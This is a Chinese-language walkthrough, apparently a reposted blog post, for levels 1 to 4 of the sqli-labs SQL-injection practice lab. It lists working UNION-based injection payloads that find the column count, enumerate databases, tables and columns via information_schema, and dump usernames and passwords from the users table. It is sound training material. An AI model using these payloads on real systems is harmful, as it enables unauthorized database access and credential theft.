sqli-labs闯关笔记

Posted Pggcute

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sqli-labs闯关笔记相关的知识,希望对你有一定的参考价值。

sqli-labs闯关笔记


第一关

1.经过语句and 1=2测试 ,页面回显正常,所以该地方不是数值查询

http://sqli-labs:84/Less-1/?id=1 and 1=2--+

%20是空格

2.在id后面加上’,发现页面回显不正常,表示可能存在SQL字符注入

http://sqli-labs:84/Less-1/?id=1'

%27是单引号

3.输入--+将sql后面的语句注释掉后,发现页面回显正常,证明这个地方是单引号字符型注入

--+是注释

4.接着使用order by 语句判断,该表中一共有几列数据
order by 1-3页面回显正常,order by 4页面回显不正常,说明此表一个有3列。



http://sqli-labs:84/Less-1/?id=1' order by 4--+

5.将id=1改为一个数据库不存在的id值,如857,使用union select 1,2,3联合查询语句查看页面是否有显示位。

(这个显示位指的是网页中能够显示数据的位置。
举例来说,比如我们通过ORDER BY命令知道了表的列数为11。然后再使用UNION SELECT 1,2,3…,11 from table,网页中显示了信息8,那么说明网页只能够显示第8列中信息,不能显示其他列的信息。也可以理解为网页只开放了8这个窗口,你想要查询数据库信息就必须要通过这个窗口。)

http://sqli-labs:84/Less-1/?id=857' union select 1,2,3--+


发现页面先输出了2和3,说明页面有2个显示位

6.然后利用sql查询语句依次爆破出数据库内的数据库名,表名,列名,字段信息

?id=857’ union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+


这是一个查询数据库名信息的语句
group_concat是能将相同的行组合起来的函数


查询库中有多少表:

?id=-1 'union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+`



查询敏感信息表的字段:

?id=-1'union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users'--+

查询敏感字段内容:

?id=-1'union select 1,group_concat(username),group_concat(password) from security.users--+

第二关

无符号包裹的报错注入GET

输入?id=1’,报错回显如下

传入的是1’但是报错信息只有’ limit 0,1那么就是id就是无符号包裹

不用闭合直接注–+释掉后面的语句即可
方法和less-1一样
利用mysql自带的信息表查询库,表,字段的名称

查询数据库名,数据库用户名等信息:?id=857 union select 1,user(),database()--+

查询库中有多少表:?id=857 union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+

查询敏感信息表的字段:?id=857 union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users'--+

查询敏感字段内容:?id=-1 union select 1,group_concat(username),group_concat(password) from security.users--+

            

第三关

?id=1'报错回显

?id=-1' ) union select 1,2,3--+

?id=-1') union select 1,version(),user() --+


省略一些步骤 其他和一二关一样 不多赘述了

?id=-1') union select 1,group_concat(username),group_concat(password) from security.users--+

第四关

?id=1' 页面没有报错 试试?id=1"

?id=1")--+闭合常规注入即可

?id=-1")union select 1,version(),database()--+

?id=-1") union select 1,group_concat(username),group_concat(password) from security.users--+

省略一些步骤 其他和一二关一样 不多赘述了

以上是关于sqli-labs闯关笔记的主要内容,如果未能解决你的问题,请参考以下文章

sqli-labs闯关之51-60关

Sqli-Labs 闯关 less1-6

sqli-labs闯关之11-20关

sqli-labs注入lesson3-4闯关秘籍

SQL-Labs从搭建到闯关(SQL注入天书)

在Kali linux下使用docker配置sqli-labs(国内源的配置和系统软件更新)